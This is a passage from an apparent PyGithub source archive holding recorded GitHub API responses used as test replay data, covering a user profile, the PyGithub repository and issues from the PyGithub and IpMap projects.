http://xkcd.com/195/","fork":false,"url":"https://api.github.com/repos/jacquev6/IpMap","forks_url":"https://api.github.com/repos/jacquev6/IpMap/forks","keys_url":"https://api.github.com/repos/jacquev6/IpMap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/IpMap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/IpMap/teams","hooks_url":"https://api.github.com/repos/jacquev6/IpMap/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/IpMap/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/IpMap/events","assignees_url":"https://api.github.com/repos/jacquev6/IpMap/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/IpMap/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/IpMap/tags","blobs_url":"https://api.github.com/repos/jacquev6/IpMap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/IpMap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/IpMap/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/IpMap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/IpMap/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/IpMap/languages","stargazers_url":"https://api.github.com/repos/jacquev6/IpMap/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/IpMap/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/IpMap/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/IpMap/subscription","commits_url":"https://api.github.com/repos/jacquev6/IpMap/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/IpMap/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/IpMap/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/IpMap/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/IpMap/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/IpMap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/IpMap/merges","archive_url":"https://api.github.com/repos/jacquev6/IpMap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/IpMap/downloads","issues_url":"https://api.github.com/repos/jacquev6/IpMap/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/IpMap/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/IpMap/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/IpMap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/IpMap/labels{/name}","created_at":"2012-06-29T18:54:23Z","updated_at":"2013-01-10T21:36:10Z","pushed_at":"2012-09-09T19:35:42Z","git_url":"git://github.com/jacquev6/IpMap.git","ssh_url":"git@github.com:jacquev6/IpMap.git","clone_url":"https://github.com/jacquev6/IpMap.git","svn_url":"https://github.com/jacquev6/IpMap","homepage":"http://vincent-jacques.net/IpMap","size":144,"watchers_count":0,"language":"JavaScript","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":0,"mirror_url":null,"open_issues_count":4,"forks":0,"open_issues":4,"watchers":0,"master_branch":"master","default_branch":"master"},"body":"A single solid color in each square doesn't allow to easily go down to a small subset of addresses."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/71","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/71/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/71/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/71/events","html_url":"https://github.com/jacquev6/PyGithub/issues/71","id":6727331,"number":71,"title":"Implement multi-step release of starring/watching","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/18","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/18/labels","id":234629,"number":18,"title":"Medium term wish list","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":2,"closed_issues":1,"state":"open","created_at":"2012-12-25T12:25:45Z","updated_at":"2013-03-22T17:42:44Z","due_on":null},"comments":0,"created_at":"2012-09-08T00:00:02Z","updated_at":"2012-12-25T12:25:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"See http://developer.github.com/changes/2012-9-5-watcher-api/ \n\nWe have to modify methods related to watchers to allow them to manage subscriptions."},{"url":"https://api.github.com/repos/jacquev6/IpMap/issues/2","labels_url":"https://api.github.com/repos/jacquev6/IpMap/issues/2/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/IpMap/issues/2/comments","events_url":"https://api.github.com/repos/jacquev6/IpMap/issues/2/events","html_url":"https://github.com/jacquev6/IpMap/issues/2","id":5641572,"number":2,"title":"Change the mouse cursor to be a hand","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":0,"created_at":"2012-07-16T15:14:20Z","updated_at":"2012-07-16T15:14:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":4835930,"name":"IpMap","full_name":"jacquev6/IpMap","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/IpMap","description":"HTML5 browsable IP map inspired by http://xkcd.com/195/","fork":false,"url":"https://api.github.com/repos/jacquev6/IpMap","forks_url":"https://api.github.com/repos/jacquev6/IpMap/forks","keys_url":"https://api.github.com/repos/jacquev6/IpMap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/IpMap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/IpMap/teams","hooks_url":"https://api.github.com/repos/jacquev6/IpMap/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/IpMap/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/IpMap/events","assignees_url":"https://api.github.com/repos/jacquev6/IpMap/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/IpMap/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/IpMap/tags","blobs_url":"https://api.github.com/repos/jacquev6/IpMap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/IpMap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/IpMap/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/IpMap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/IpMap/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/IpMap/languages","stargazers_url":"https://api.github.com/repos/jacquev6/IpMap/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/IpMap/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/IpMap/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/IpMap/subscription","commits_url":"https://api.github.com/repos/jacquev6/IpMap/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/IpMap/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/IpMap/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/IpMap/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/IpMap/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/IpMap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/IpMap/merges","archive_url":"https://api.github.com/repos/jacquev6/IpMap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/IpMap/downloads","issues_url":"https://api.github.com/repos/jacquev6/IpMap/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/IpMap/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/IpMap/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/IpMap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/IpMap/labels{/name}","created_at":"2012-06-29T18:54:23Z","updated_at":"2013-01-10T21:36:10Z","pushed_at":"2012-09-09T19:35:42Z","git_url":"git://github.com/jacquev6/IpMap.git","ssh_url":"git@github.com:jacquev6/IpMap.git","clone_url":"https://github.com/jacquev6/IpMap.git","svn_url":"https://github.com/jacquev6/IpMap","homepage":"http://vincent-jacques.net/IpMap","size":144,"watchers_count":0,"language":"JavaScript","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":0,"mirror_url":null,"open_issues_count":4,"forks":0,"open_issues":4,"watchers":0,"master_branch":"master","default_branch":"master"},"body":""}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetUserIssuesWithAllArguments.txt0000644000175100001660000151336114756101563031176 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1496'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 11:20:54 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"16804c53098398def5970814e79a2cf5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:44:50 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":16,"followers":27,"following":39,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-05-17T11:20:54Z","public_gists":3,"total_private_repos":4,"owned_private_repos":4,"disk_usage":17188,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":6,"site_admin":false} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '4663'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 13 May 2013 21:44:12 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2184e9e10f0a22eb0f1eceed39d728da"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:44:51 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":55} https GET api.github.com None /repos/jacquev6/PyGithub/labels/Requested%20by%20user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '125'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 12 Sep 2012 18:38:55 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4255e5086bc19b2096e05eb6dad041ee"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:44:51 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"} https GET api.github.com None /user/issues?sort=comments&direction=asc&since=2012-05-28T23%3A00%3A00Z&labels=Requested+by+user&filter=assigned&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '276385'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 11:20:54 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"16804c53098398def5970814e79a2cf5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:44:53 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/81","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/81/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/81/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/81/events","html_url":"https://github.com/jacquev6/PyGithub/issues/81","id":6816576,"number":81,"title":"Complete Legacy.convertXxx","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by 